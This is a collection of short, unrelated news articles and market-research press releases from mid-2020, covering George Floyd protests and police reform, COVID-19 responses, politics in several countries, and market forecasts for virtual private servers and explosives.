A few dozen people marched from the Leimert Park Plaza down the street Thursday afternoon, chanting, Black lives matter. Earlier in the week, Gov. Gavin Newsom stopped by neighborhood favorite Hot and Cool Cafe as part of his listening tour of cities across the state. But the plaza  which saw 2013 protests honoring Trayvon Martin and 2014 gatherings remembering Michael Brown  has stayed mostly quiet in recent days, all fluttering purple jacaranda blossoms and music drifting from newly reopened shops.

Part of that is by design  Black Lives Matter organizers want to put protests directly in affluent white neighborhoods. They also dont want a repeat of the 1992 riots that harmed black-owned businesses in South L.A.

Its time now for us to show the unity within our community, said Kortel Korta-T Autrey, 36, another co-organizer of Saturdays ride.

Autrey has organized rides throughout Los Angeles on dirt bikes, motocross bikes and regular road pedal bikes for years. He founded his nonprofit organization BikesOverBangN to bring together communities that would otherwise have gangs in their neighborhoods and mentor youth. He hopes his groups slogan, bikes bring bonds, will translate to Saturdays demonstration.

Were focused on having a big crowd, but the biggest thing is that its positive and nonviolent, Autrey said. I think that was a major reason for us going with bikes. It cuts down a lot of the walking and ... just people coming into our ride and not being affiliated, but then taking the energy from our ride and doing something negative.

Story continues

Protests erupted across the country last week after Minneapolis police officer Derek Chauvin pinned Floyd to the ground for nearly nine minutes, killing him. Demonstrators have called for many institutional changes, but the focal point is police reform and justice for Floyd  and for the many other black Americans whom police officers have killed.

Although runners and walkers are expected to attend too, Edmondson said the bikes will help differentiate community members from outside agitators. And practically speaking, its hard to cause trouble with a bicycle in tow.

His decision to organize a demonstration faced some negative responses from business owners and older residents who grimaced at the idea, remembering the 1992 riots. But most of them came around, Edmondson said, once he explained to them, We have to feel like we can ride bikes in our own community without a backlash.

"We just want this to be a spark," Edmondson said, "where you can have this uncomfortable conversation about race and inequality and about police brutality. We want it to be the spark to move forward and show people that we can have things in our community and we can be peaceful in our community and we can come together in solidarity."

Police in heavy protective equipment carry a man away after handcuffing him in the Fairfax District during protests on Sunday. (Kent Nishimura / Los Angeles Times)

An essential part of maintaining a peaceful demonstration will be the role of police. Protesters across the country have argued that their otherwise nonviolent rallies devolve into chaos once police show up decked out in riot gear. Forty-three-year-old Leimert Park resident Tschombe Davidson described seeing protests where police hit people with batons or rubber bullets, pepper sprayed them and, in one case, took a protester's phone and threw it.

Everybodys being peaceful from all different creeds and cultures. Everyones in one accord, Davidson said. Everything usually is fine out there until the police get there and exert their authority.

Davidson formed the Men of Leimert neighborhood watch group in November to liaise between his neighbors and the police. He described a distinct lack of trust in his neighborhood, which shows itself the moment many police officers step out of their patrol cars.

"Police get out and they have their hands on their guns, because theyre not from the neighborhood. They're scared already!" Davidson said. "They dont know how to interact with the young people here."

Davidson's group  which includes two women  patrols the streets and alleyways of Leimert Park two nights a week plus Saturday mornings. One day, he watched a woman's young child while she retrieved something inside her home. Last week, he tracked down the license plate from a stolen vehicle and reported it to the local police.

"For the most part, it's pretty dead, but you get your little events," he said. "We go through a lot of stuff that the cops dont do. They only come when somethings happened."

The purpose of his Saturday morning strolls is to start conversations, develop relationships and become a familiar face in the community. After months of routine walks through the streets, Davidson often sees people he knows or meets from the Nextdoor app.

Gina Fields, chairperson of the Empowerment Congress West Area Neighborhood Development Council, wants Men of Leimert to monitor Saturdays demonstration and provide security.

We're "policing our own area, because oftentimes theres a fear that if you call the police, youre going to be seen as the criminal or the situation is going to accidentally escalate and somebodys going to get shot, Fields said.

Edmondson reached out to local police officers and invited them to attend Saturday's ride  on bikes.

We didnt want you to show up with military equipment and riot gear. Of course that creates an agitation for people and rubs people the wrong way, Edmondson said. We want the police to be as much part of the community as the people.

Some officers are. Fields invites the area's senior lead police officer, whom shes known for years, to every council meeting so residents can interact with him directly.

I think that that kind of connection helps, to some extent, to build trust, Fields said.

But its so hard, she said, because one thing can happen to disrupt the balance of the neighborhood. She recounted an anecdote from last week, when someone reported a stolen bike they saw in the back of a blacked-out van. The police officers responding to the call approached the vehicle with their guns drawn, Fields said.

It freaked everyone in the neighborhood out, she said. Why would they approach the [van] with guns out  over a bicycle?

The situation did not escalate further, Fields said, partly because the police officers realized that they recognized the van. Still, it dismantled some of the trust painstakingly built over decades between community members and police officers. And it's part of the reason that, a week later, hundreds of residents will be mounting bikes for Saturday's ride.

That just turned into a total miscommunication that escalated into something crazy  and now the whole community doesnt have faith in these officers weve known for years, Fields said. It's so many compounding issues and compounding variables."

With a laugh, she added, Its never black and white."
OCP Africa Ghana, a subsidiary of OCP Group, has donated GHC 280,000 to the COVID-19 Public Trust Fund.

The donation will contribute to Ghanas COVID-19 response by enabling the Government to continue to support frontline workers and volunteers engaged in fighting the pandemic, as well as vulnerable people who have been affected by the virus.



Presenting the cheque at a short ceremony in Accra, the Country Manager of OCP Africa Ghana, Mr. Samuel Oduro, said: Committed as we are to the development and empowerment of communities, we understand the need to help the most vulnerable of those in these challenging times. There has never been a more important moment for us to demonstrate this commitment. This donation is one of the many ways OCP Africa Ghana is supporting the Government efforts to fight the spread of the coronavirus in Ghana.



Bolder actions and resilience programs are also needed for a more sustainable response to this crisis. That is why we will launch our Women in Agri-booster program to support about 5,000 women small holder farmers cultivating maize and rice in Ghana. The program seeks to supply 1,250 MT of fertilizers and provide training in Good Agricultural Practices (GAP) and farming as a business through MoFA and other partners, he revealed.



He added that the program will lessen the negative effect of COVID-19 on women by improving their revenue, increase yield by 30% and add 15,000 metric tons of rice and maize to the food stock.



Receiving the donation, former Chief Justice, Sophia Akuffo, chairperson of the Board of Trustees of the COVID-19 Public Trust Fund, thanked OCP Africa Ghana for supporting Ghana at this critical time and also providing support to small-holder farmers across the country.



The Board of the COVID-19 Trust Fund is poised to ensure that the donation is used for the sole purpose of supporting frontline workers, volunteers and the vulnerable in the COVID-19 fight, she said.

Source: Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Strategic redundancy can prevent the collapse of supply chains during global crises. Credit: University of Texas at Austin

When the novel coronavirus began spreading during the early months of 2020, it put kinks in multinational production chainsfirst in China and then around the globe. But it didn't have to happen that way, according to Francisco Polidoro, associate management professor at the McCombs School of Business at The University of Texas at Austin.

In a forthcoming paper published online in advance by the Academy of Management Review, he suggests companies use redundancy as a way to fortify their operations against unforeseeable events such as pandemics.

It's a matter of preparing for the unexpected.

Unlike risk, which covers events that have happened before and could strike again, uncertain events lack any data points to inform decisions. Uncertainty refers to what you do not even know that you don't know.

Polidoro, with co-authors Curba Lampert of Florida International University in Miami and Minyoung Kim of the University of Kansas, introduces a strategy called branching. A company, say the researchers, can build multiple branches into its value chain, the string of steps that lead from research and development through manufacturing and sales. When a crisis strikes one branch, the overall chain can keep running.

"With branching, the idea is to have a kind of redundancy by design. It makes you more resilient. If you wait until your value chain is disrupted, it may be too late," Polidoro said. "You invest in flexibility before you need it."

Apple Inc., for example, which assembles iPhones in China, struggled with both manufacturing and distribution when the pandemic shuttered its factories. The pandemic created ripple effects that negatively affected the design of new products, as communication between design and manufacturing teams was also disrupted.

Other companies are suffering similar versions of Apple's woes. Many pharmaceutical companies rely on China as the sole source of key ingredients for their drugs. Also, more than 60 medical manufactuers have facilities in China dedicated to essential medical devices. In fact, at least 200 of the Fortune Global 500 had a presence in Wuhan, China.

What appears to be sound strategy can risk a total collapse when uncertain events disrupt locations that companies heavily rely on to obtain efficiency gains. The current concerns with drug shortage risks due to the pandemic remind us that when uncertain events break down global supply chains, the entire economy can suffer.

The researchers said if branching had been put into practice, these companies would have facilities in other countries, thereby preventing financial losses. The researchers also said branching may reduce the value that companies get now, but it may sustain their value for a longer time. There's a trade-off between efficiency and flexibility. It's the difference between a somewhat higher cost for making a phone versus being able to make it at all.

"When you design your operations to optimize economies of scale, you've accounted for standard issues that could go wrong," Polidoro said. "Then a nonstandard event occurs that you have not accounted for, like a pandemic, a trade war or closing national borders. All of a sudden, the decisions that optimized your operations may lead to unprecedented disruptions."

Explore further Global uncertainty may force businesses to rely on flexibility rather than efficiency

More information: Curba Morris Lampert et al. Branching And Anchoring: Complementary Asset Configurations In Conditions Of Knightian Uncertainty, Academy of Management Review (2020). Curba Morris Lampert et al. Branching And Anchoring: Complementary Asset Configurations In Conditions Of Knightian Uncertainty,(2020). DOI: 10.5465/amr.2018.0238
On June 4, International Day of Innocent Children Victims of Aggression, Ukraines Permanent Mission to the United Nations reminds about the ugly face of Russian aggression in eastern Ukraine, where 172 children have been killed or injured.

This is stated in a statement by the Permanent Mission to the UN on its official page on Facebook.

"On International Day of Innocent Children Victims of Aggression, we take a moment to remind about the ugly face of Russian aggression in eastern Ukraine where 172 children killed or injured; 750 educational facilities destroyed; 430,000 children live with psychological wounds; 2 million children, women, and men exposed to landmines," the report says.

At the same time, the Ukrainian side called on the international community to take action. We must act to protect the most vulnerable, the Mission emphasized.

As a reminder, in 1982, the UN General Assembly decided to commemorate June 4 of each year as the International Day of Innocent Children Victims of Aggression. The purpose of the day is to acknowledge the pain suffered by children throughout the world who are the victims of physical, mental and emotional abuse. This day affirms the UN's commitment to protect the rights of children. Its work is guided by the Convention on the Rights of the Child, the most rapidly and widely ratified international human rights treaty in history.

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SAGINAW, MI  With protesters chanting Black lives matter and We will breathe outside, Saginaw Police Chief Robert M. Ruth outlined the numerous changes his department has adopted since the 2012 killing of Milton Hall and spoke of his ongoing commitment for bettering community relations.

Ruth was joined in a Friday, June 5 press conference within the departments lobby by numerous representatives from the Saginaw ALPACT Committee, which stands for Advocates and Leaders for Police and Community Trust. The group comprises leaders and members of the community, civil rights and civil liberties organizations, and leaders from law enforcement agencies.

The Saginaw ALPACT Committee meets bi-monthly to examine issues affecting police and community relations to ensure equitable enforcement of laws including racial profiling, police discretion, use of force, recruitment and training, citizen complaint processes, community partnering, and police leadership. Ruth himself co-chairs ALPACT with Cal Talley, special assistant to the provost at Saginaw Valley State University.

Ruth opened the conference by reiterating his prior condemnation of George Floyds death in Minneapolis on May 25. Video recorded by civilians and circulated widely online shows Floyd, 46, handcuffed and on the ground while Minneapolis Police Officer Derek Chauvin kneels on his neck for several minutes. Floyd later died.

It was terrible, it was a tragedy, Ruth said. We all know how bad it was for our communities across the United States.

He went on to reference a tragic incident that happened in Saginaw several years ago  the July 1, 2012, killing of Milton Hall. In that incident, six Saginaw police officers fired 47 shots at Hall, a mentally ill black man who was holding a knife, in the Riverview Plaza parking lot at 290 W. Genesee Ave. Eleven of the bullets struck Hall and killed him.

ALPACT, which started in Detroit, had its Saginaw committee formed after Halls death, Ruth said.

We all came together and we sat down at the table and we talked, he said. Most importantly, we listened. We worked on programs to put together so that we can make Saginaw a safer place and communicate with the citizens properly  and engage the citizens in a proper manner.

Ruth proceeded to list some of the changes the department and ALPACT fashioned, first among them, transparency.

One of the biggest issues that Ive found is having transparency with the citizens, he said. Instituting body-worn cameras on officers nearly six years ago is one of the departments greatest forms of transparency, the chief said.

Policy dictates officers activate the cameras for every interaction they have with the public. The cameras presence alone has improved relations with the community, the chief said.

We did a total policy review, and we changed just about every policy within the department to make it more user-friendly within the community, Ruth continued. Training is the most important thing that we can do in a police department. We conducted cultural diversity training, cultural competency training, we even trained Bridges Out of Poverty.

Bridges Out of Poverty is a set of concepts that helps businesses, churches, schools, social service organizations and individuals address poverty in a comprehensive way, according to the programs website. It provides ideas and concrete tools a community needs to reduce, alleviate and work with those in poverty.

It gives the officers an idea of what people in poverty look at when they see an officer in front of them, Ruth said.

Implicit bias training has also been provided to officers.

In our department over this period of time, we have made cultural changes internally, Ruth said. Weve changed the police culture internally so that the officers treat the citizens in a different manner.

He went on to say hes extremely proud of diversity hiring within the department, which is currently at 33 percent and includes women, Hispanics, and blacks.

Officers have also been trained on how to deal with people they encounter who have mental health issues. Ruth described this aspect as one of the most important factors that weve done.

We had to teach our officers how to deal with people with mental health issues, he said. In society nowadays, thats one of the biggest issues we have to deal with.

In the past, those suffering from mental health issues who were arrested were simply taken to jail, which Ruth said helps no one. Now, such arrestees are taken to the hospital for treatment rather than jail.

The department also partners with the NAACP for public service announcements geared toward educating area youths on how to interact with police. Resource officers have also returned to schools after being away for years, concentrating on lower grades to have a greater effect, Ruth said.

The chief then changed gears to address the future.

Whatre we going to do now in the future? he posed. One thing were going to do is were going to do what we have done for the last seven years, almost going on eight. We are going to sit down and we are going to talk. We have sat down and talked for all that period of time and we kept talking. We are still together as a group and thats one of the biggest issues you see in society: when something happens, people come up, they get rallied together, they talk for a couple of months, and then it blows over and it goes away.

We didnt go away; were still here, he said.

Ruth promised to continue listening to what people have to say.

We will do research, he said. We will look at all of our policies. Thats already started with our city attorney. Were looking at all of our policies to see what we can change to tighten them up so we have better engagement with the community and we dont end up with an incident that happened in Minneapolis. That is the last thing that anybody wants, anywhere, anywhere at all.

Furthermore, city officials and ALPACTs members are going to research a citizens advisory committee and reinstitute one.

Ruth concluded his remarks by saying that he wishes Floyd had lived in Saginaw.

If he was, with our officers, he would still be alive this day, he said.

After Ruth spoke, several other ALPACT members addressed media. Among them was Carl Williams, the vice president of the Saginaw NAACP chapter and co-founder and former co-chair of ALPACT in Saginaw.

Its been my experience that whenever theres been an incident, as soon as you guys (the media) went away, most of the people who were up and yelling and shouting, they faded away also, Williams said. One of the things I liked about ALPACT from the very beginning was that we committed to each other that we werent going to fade away.

Williams lauded Ruths efforts in engaging with the community and changing the police departments culture, saying he has walked the walk.

Saginaw does indeed have a connection between law enforcement and the community and its growing, Williams said.

A moment of silence for Floyd then took place, as requested by a Charles Schoder of the Michigan Department of Civil Rights.

That is the last time that I am going to ask for your voice to be silent, he said. It is important that your voice is shared so that the people who stand behind me can hear those voices, so that the people in the community can share their voice and their ideas about how to bring the change that they so desperately want.

Schoder referenced what some of those voices have been saying.

Being black or brown is not a crime, nor even suspicious, and should not be treated as such, he said.

Outside, a group of protesters known as The Ghost of George Floyd gathered in Jeffers Park in front of the police department about a half-hour before the press conference commenced. An organizer declined to give his name, preferring to refer to himself and his fellow demonstrators in the collective plural of We Are The Ghost of George Floyd.

The groups most pressing demand is for Saginaw police to explicitly exclude restraint above the shoulder from their use of force procedures.

Working in shifts, the group previously held a 72-hour occupation at Jeffers Park from 10 a.m. May 31 to midnight on June 2.

The organizer said that during the three-day vigil, the group had several conversations with Chief Ruth and police personnel.

About the time the press conference ended on Friday, the protesters were lying face down in the grass, a symbolic demonstration of the position Floyd was in when he suffered his fatal injuries.

The Ghost of George Floyd can be followed on Facebook here and on Instagram here.

Related:

I sense and see something different, says Saginaw NAACP leader of protests in wake of George Floyd death

Police discuss tactics, diversity and George Floyds death with Saginaw community

Saginaw group spending 72 hours outside police department to protest George Floyd death in Minnesota
Victorian Opposition Leader Ted Baillieu turned up the heat on the government by introducing a bill demanding more public monitoring of Port Phillip Bay's dredging.

The private member's bill would demand "real-time daily information about the project on the internet", Mr Baillieu told reporters.

The opposition leader criticised the Labor government for requiring an independent monitor to report just once a year on whether the Port of Melbourne Corporation was managing the project responsibly.

The channel deepening project is due to start on February 1 and aims to deepen the port, allowing larger ships to enter Melbourne, by dredging 23 million cubic metres of toxic silt, sand and rock from the bay.

There are growing concerns though about the effects the project and release of toxins will have on the bay's ecology and humans' ability to use the bay.
The South Korean government on Thursday kowtowed to a complaint from North Korean leader Kim Jong-un's sister about propaganda leaflets being floated across the border and tried to ban them.

It took the Unification Ministry less than five hours after the scathing remarks from Kim Yo-jong were published to announce a ban on activists floating balloons with propaganda materials into North Korea.

Cheong Wa Dae and the ministry claimed the propaganda leaflets are "doing more harm than good." The ministry claimed the leaflets were "polluting" the demilitarized zone and making living conditions worse for South Korean residents near that area.

"What I find more detestable are those who feign ignorance or encourage more than those who move to do others harm," Kim was quoted earlier in the day as saying by the Norths official Rodong Sinmun daily. "South Korean authorities should be ready to take care of the consequences of evil conduct done by the rubbish-like mongrel dogs."

She warned of dire consequences if defector groups continue to send propaganda leaflets, threatening to tear up a cross-border military pact signed by the two sides in 2018 that the North has already repeatedly violated.




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With the US still reeling from the killing of George Floyd, the mayor of a city in southern California has resigned after he said no "good person of colour" had ever been killed by police  despite the fact a black man was fatally shot by police in his home in the city in 2016.

James Stewart, mayor of Temecula, Riverside County, immediately landed in trouble when he sent the offending email, which he said was sent in reply to a person concerned about our police officers and their sensitivity training.

In the email, a screenshot of which Mr Stewart himself later shared on Facebook as reports of its contents spread, the mayor responds to concerns from a constituent asking what he and his team are doing to end police violence in our community and the systemic racism in policing that is killing black people.

Replying, Mr Stewart points out that the City of Temecula does not have its own police department, instead contracting with Riverside Countys Sheriffs Department, and says I dont believe theres ever been a good person of color killed by a police officer. So Im kind of confuse (sic) what youre looking for.

He also writes that racism is not excepted (sic) or tolerated in the city, and that I have several good friends who are African-Americans, and they love living here because of how safe it is for them and their families.

In a contrite message announcing his resignation over the message, Mr Stewart explained that because he has severe dyslexia, he routinely uses speech-to-text dictation to write, and that in this case, he did not proof-read the resulting email before sending it  resulting in the use of the word good where he did not in fact say it.

I owe everyone an apology including our citizens of all backgrounds and ethnicities, City staff, and my respected colleagues on the City Council. You have every right to be hurt and offended.

My typos and off-the-cuff response to an email on a serious topic added pain at a time where our community, and our country, is suffering. I may not be the best writer and I sometimes misspeak, but I am not racist. I deeply regret this mistake and I own it, entirely. I am truly sorry.

In 2016, Temecula witnessed the case of 18-year-old Matthew Tucker, who was shot dead in his home by police after dialling 911. His family argued that the attending officers were inadequately trained in crisis intervention and were wrong to use lethal force, but a federal jury cleared the officers of excessive force claims.

The US has witnessed mass demonstrations in several states protesting against the killing of George Floyd and police brutality against black citizens. The 46-year-old died after officers knelt on his neck and back for nine minutes, despite him repeatedly pleading "I can't breathe."

All four officers involved in his death have now been charged.
Frank Field resigned from the Labour Party in 2018 - Victoria Jones/PA

Veteran ex-Labour MP Frank Field is being lined up for a seat in the House of Lords after Jeremy Corbyn's three candidates were blocked by the Lords watchdog.

Mr Field, who quit the Labour Party in 2018 over anti-Semitism and left Parliament at last December's general election, is set to take a seat in the Lords when a longlist of new peers is finally unveiled.

The news will be an embarrassment for ex-Labour leader Mr Corbyn, who has seen his three candidates  Tom Watson, John Bercow and Carrie Murphy  blocked by the House of Lords Appointments Commission.

The announcement of dozens of new mainly Conservative peers has been delayed by the election, the Brexit crisis and now the coronavirus pandemic.

Mr Field sat as an MP in the House of Commons from 1979 to 2019, winning widespread support across the House for his championing of the rights of the poor and welfare reform.

Sources have told The Telegraph that his name is on a list of new peers. He is expected to sit as a crossbench peer and was nominated six months ago before he fought and lost his Birkenhead seat as an independent candidate in December's election.

Mr Field, who has been advertising for a researcher to assist with his work on modern slavery and social mobility, declined to comment when approached by The Telegraph.

Ken Clarke is understood to be among 10 new Tory peers to be created - UK Parliament/Jessica Taylor/PA

Former Cabinet ministers Sir David Lidington, Ken Clarke, Philip Hammond and Sir Patrick McLoughlin are understood to be among 10 new Tory peers to be created.

Nicky Morgan, now Baroness Morgan of Cotes, and Zac Goldsmith, now Lord Goldsmith of Richmond Park  who both lost their seats in December  have already been made members of the Lords.

Others in the running for peerages include Tory donor and leading businessmen Johnny Leavesley, the chairman of the Tory donor group the Midlands Industrial Council, and Peter Cruddas, a former Tory party treasurer.

The House of Lords Appointments Commission said it did not comment on the vetting process for any new peers.
By Akbar Mammadov

Azerbaijans Deputy Foreign Minister Mahmud Mammad-Guliyev discussed Azerbaijan-European Union relations with Enrique Mora, the new Deputy Secretary-General for Political Affairs of the European External Action Service (EEAS), the MFAs press service reported on June 4.

During the video conference held on 3 June, Mammad-Guliyev expressed his confidence that Enrique Mora would contribute to the development of EU-Azerbaijan relations.

Mammad-Guliyev also expressed his gratitude to the EU for supporting the independence, sovereignty and territorial integrity of Azerbaijan.

In the meantime, the deputy foreign minister expressed his confidence that as outlined in the EU Council of Foreign Ministers' Conclusions document on the Future of the Eastern Partnership of 12 May 2020, as well as in the UN Security Council briefing on 28 May this year, these principles will remain a key element in its relations with partner countries.

Furthermore, noting the importance of Azerbaijan's dialogue with the EU in the field of security, the deputy minister drew attention to the effectiveness and importance of the meetings held in Baku with the participation of high-level delegations in the relevant field.

In his turn, Mora recalled with pleasure his visits to Azerbaijan as a member of the Spanish delegation as an official of the Ministry of Foreign Affairs.

In addition, he noted that Azerbaijan is an important partner of the EU in the Eastern Partnership program. Azerbaijan has made a great contribution to regional security and stability, and Azerbaijan, which has secular values, has played a major role in the development of intercultural dialogue, he noted. The new deputy secretary-general also stressed that the European Union has strong ties with Azerbaijan, including the great potential of cooperation in the transport sector.

The EU official said that Azerbaijan had taken effective measures to combat COVID-19 and the EU was ready to support Azerbaijan in overcoming the effects of the pandemic.

The sides also exchanged views on the progress of negotiations on a new Bilateral Agreement between Azerbaijan and the European Union.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
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A virtual private server consists of virtualization software that partitions physical servers into multiple virtual servers. These virtual machines are capable of running independent operating systems. They are widely used for hosting web services.

A VPS service is provided by service providers through an internet hosting software. Moreover, owing to its ability to host an independent operating systems, VPS services enable users to install and execute any software, as these users have superuser-level access to that OS interface. This facility provides end users with substantial control over system configuration and authorizes the user for all administration operations.

Request For Report Sample@ https://www.trendsmarketresearch.com/report/sample/13378

A virtual private server (VPS) exists on servers and allows installation of other software that are unsupported or not allowed on shared hosting accounts. Two types of VPS are available in the market, which include managed VPS and unmanaged VPS. Among these, the unmanaged VPS is widely used by users that have command-line interface knowledge and perform system administration tasks at a high level.

Rise in cyber threats & cyber-attacks in data centers across the globe has boosted the demand for VPS, which acts as a key driver of the global virtual private server market. This is attributed to the capability of VPS server that provides sandbox security features. In addition, increase in adoption of cloud computing has proliferated the deployment of VPS severs at a significant rate, owing to its virtualization feature that replicates similarity of security and performance of VPS services.

This factor is expected to augment the growth of the global market during the forecast period. On a contrary, limitations on availability of physical resource and bandwidth is a major restraining factor, which is anticipated to hamper the market growth to a certain extent. However, convergence of technologies such as artificial intelligence and machine learning algorithms with VPS solutions is expected to create significant revenue growth opportunities for players operating in the global market.

The global virtual private server market is segmented into type, operating system, organization size, industry vertical, and region. On the basis of type, the market is bifurcated into managed VPS and unmanaged VPS. By operating system, it is divided into Windows and Linux. As per organization size, it is classified into large enterprises and small & medium enterprises. Depending on industry vertical, it is segregated into IT & telecommunication, retail, BFSI, manufacturing, healthcare, and others. Region wise, it is analyzed across North America, Europe, Asia-Pacific, and LAMEA.

The report includes the profiles of key players operating in the market analysis. These include Amazon Web Services, Inc., DreamHost, LLC, Endurance International Group, GoDaddy Operating Company, LLC, IBM, InMotion Hosting, Liquid Web, OVH, Rackspace US, Inc., and United Internet AG.



KEY BENEFITS FOR STAKEHOLDERS

 The report provides an in-depth analysis of the global virtual private server market trends, key driving factors, and potential areas for product investments.

 Key players are analyzed with respect to their primary offerings, recent investments, and future development strategies.

 Porters five forces analysis illustrates the potency of buyers and suppliers operating in the virtual private server industry.

 The quantitative analysis of the global virtual private server market share from 2018 to 2026 is provided to determine the market potential.

Get Complete TOC with Tables and Figures@ https://www.trendsmarketresearch.com/report/discount/13378

KEY MARKET SEGMENTS



BY TYPE

 Managed VPS

 Unmanaged VPS



BY OPERATING SYSTEM

 Windows

 Linux



BY ORGANIZATION SIZE

 Large Enterprises

 Small & Medium Enterprises



BY INDUSTRY VERTICAL

 IT & Telecommunication

 Retail

 BFSI

 Manufacturing

 Healthcare

 Others



BY REGION

 North America

or US

or Canada



 Europe

or Germany

or France

or UK

or Rest of Europe



 Asia-Pacific

or Japan

or China

or India

or Rest of Asia-Pacific



 LAMEA

or Latin America

o Middle East

o Africa



KEY MARKET PLAYERS PROFILED IN THE REPORT

 Amazon Web Services, Inc.

 DreamHost, LLC

 Endurance International Group

 GoDaddy Operating Company, LLC

 IBM

 InMotion Hosting

 Liquid Web

 OVH

 Rackspace US, Inc.

 United Internet AG

<<< Get COVID-19 Report Analysis >>> https://www.trendsmarketresearch.com/report/covid-19-analysis/13378
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San Francisco, 5 June 2020: The Report Explosives & Pyrotechnics Market Size, Share and Trends Analysis Report By Product (Blasting Agents, Propellants, Pyrotechnics), By Application (Proximate Pyrotechnics, Consumer Pyrotechnics, Display Pyrotechnics) And Segment Forecasts, 2018 - 2024

The global explosives & pyrotechnics market size is expected to reach USD 31.95 billion by 2024, according to a new report by Grand View Research, Inc. The global explosives and pyrotechnics market is expected to grow significantly over the forecast period on account of increasing use of the product in construction and mining activities.

Rising number of projects for infrastructure development in Asia Pacific is expected to drive the demand for explosives as a blasting agent. Increasing government spending for infrastructure development in Asia Pacific and the Middle East on account of increasing domestic output is expected to play a significant role in amplifying construction activities in these regions.

In 2013, Asia Pacific contributed to approximately 44% of the total global construction spending, an increase of 4% from the previous year. Also, the development of new construction and building projects in Asia is likely to boost market growth. The demand for explosives in the region is expected to be 14.93 million tons by 2024.

Access Research Report of Explosives & Pyrotechnics Market @ https://www.grandviewresearch.com/industry-analysis/explosives-pyrotechnics-market

Further key findings from the report suggest:

Positive outlook towards the mining sector in Chile, and Peru, and owing to government policies to open opportunities for investments by foreign players, to improve the economic conditions, is expected to drive the demand for explosives subsequently. The segment is projected to witness volume growth at a CAGR of 4.9% over the forecast period.

Coal mining was the largest application within the mining sector accounting for 49.8% of the volume in 2015. However, the outlook towards coal is likely to be bleak over the forecast period on account of increasing shifting trends of consumers towards alternative sources of energy including natural gas and renewable energy. However, metal mining is expected to witness tremendous growth on account of rising demand for metals including rare earth elements.

Consumer pyrotechnics accounted for 36.2% of the global volume in 2015 and is expected to grow on account of increasing demand for recreational fireworks, model rocket motors, and powder-actuated nail guns.

Key market players include Orica Mining Services, ENAEX, Maxam Corp., Sasol Limited, Austin Powder Company, AEL Mining Services, Chemring Group, Incitec Pivot, AECI Group, Pyro Company Fireworks, ePC Group, Alliant Techsystems, Titanobel SAS, Hanwha Corp., Solar Industries India, and LSB Industries.

Companies are focusing on product innovation to cater to the growing demand for safe & effective explosives. For instance, in September 2016, Orica launched a new product, Vistis Bulk System, catering to the growing consumer demand in Australia.

Browse more reports of this category by Grand View Research at: https://www.grandviewresearch.com/industry/oil-and-gas-drilling-and-extraction-equipments

Grand View Research has segmented the global explosives & pyrotechnics market on the basis of product, application and region:

Explosives & Pyrotechnics Product Outlook (Volume, Kilo Tons; Revenue, USD Million; 2013 - 2024)

Blasting agents

Propellants

Pyrotechnics

Others

Explosives & Pyrotechnics Application Outlook (Volume, Kilo Tons; Revenue, USD Million; 2013 - 2024)

Mining

Construction

Military

Others

Explosives & Pyrotechnics Application Outlook (Volume, Kilo Tons; Revenue, USD Million; 2013 - 2024)

Proximate pyrotechnics

Consumer pyrotechnics

Display pyrotechnics

Others

Explosives & Pyrotechnics Regional Outlook (Volume, Kilo Tons; Revenue, USD Million; 2013 - 2024)

North America

Europe

Asia Pacific

Latin America

Middle East & Africa (MEA)

Access Press Release of Explosives & Pyrotechnics Market @ https://www.grandviewresearch.com/press-release/global-explosives-pyrotechnics-market

About Grand View Research

Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.

For More Information:www.grandviewresearch.com
Sophie Smith has been stranded in an Airbnb holiday rental property in Melbourne's Surrey Hills with her wife and three children for 10 weeks after flying to Australia to visit her dying father just before the border closed in March.

She is one of thousands trying to leave the country at a time when COVID-19 restrictions make this impossible for most Australians, with official data showing more than 10,000 people have lodged requests for permission to leave or enter the country since the travel ban began.

Sophie Smith with her children Will, 4, Charlie, 6, and Lucy, 2. Credit:Penny Stephens

The family, normally based in Phuket in Thailand where the children go to school, faces uncertainty over whether they will be able to continue their expat life as they await the outcome of a request for an exemption from the Home Affairs department.
The local arm of Japanese automotive brand Honda has further evolved that would cater to the new normal scenario in business.

Honda Cars Philippines, Inc. (HCPI) will soon come up with a Virtual Dealership Online Transaction facility to be called as VIRTUAL@Honda to provide a contactless process of car purchase, car maintenance, and repairs.

And just like many programs and initiatives and promos, VIRTUAL@Honda stands for the features they will give aid customers right at the safety and comfort of their homes.

Visit Online

Inspect models inside out with 360-degree feature

Reserve your vehicle and service appointment

Test drive schedule

Unit availability query

Access your account

Live chat with a sales consultant

VIRTUAL@Honda

Should a more detailed transaction is needed, customers also have the option to speak with dealership personnel through virtual communication.

Come August this year, HCPI's online feature will be live.

With the current global pandemic and in view of these uncertain times, HCPIs priority is the safety of our customers. With this, the soon-to-be launched Virtual Dealership Online Transaction, is our alternative solution to provide contactless dealer processes for our customers, HCPI president Masahiko Nakamura said.

Well, those who want to go to HCPI dealerships are advised to book appointments, as part of their safety measures against COVID-19.

Honda dealership

To learn more about the latest news and promos of HCPI, visit Honda Cars Philippines, Inc.s official website at www.hondaphil.com.

Photos from Honda Cars Philippines

Also read:

Honda announces latest promo amid COVID-19 pandemic

Honda Cars Dishes Help to Medical Frontliners in Laguna
Jordan said on Thursday it would reopen hotels and cafes, allow sporting events without spectators and shorten a night curfew as of Saturday, further easing its coronavirus lockdown that has hit the aid-dependent economy.

But Prime Minister Omar al-Razzaz told reporters that while Jordan had now returned to near normality, it would now toughen enforcement of social distancing to ensure there was no risk of a resurgence of infections.

Jordan has withstood the COVID-19 pandemic better than most regional neighbours after taking early steps in mid-March to restrict the mobility of its 10 million people, sealing its borders, imposing a state of emergency and a night curfew.

The government in recent weeks relaxed some measures that had throttled the economy, reopening most businesses and factories to avert mass layoffs and bankruptcies. The economy was already struggling with sluggish growth before the crisis.

Officials said the latest loosening of lockdown measures was prompted by a sharp drop in new infections to less than 10 a day over the past week. There have been 757 confirmed cases of the COVID-19 lung disease and just 9 deaths during the outbreak.

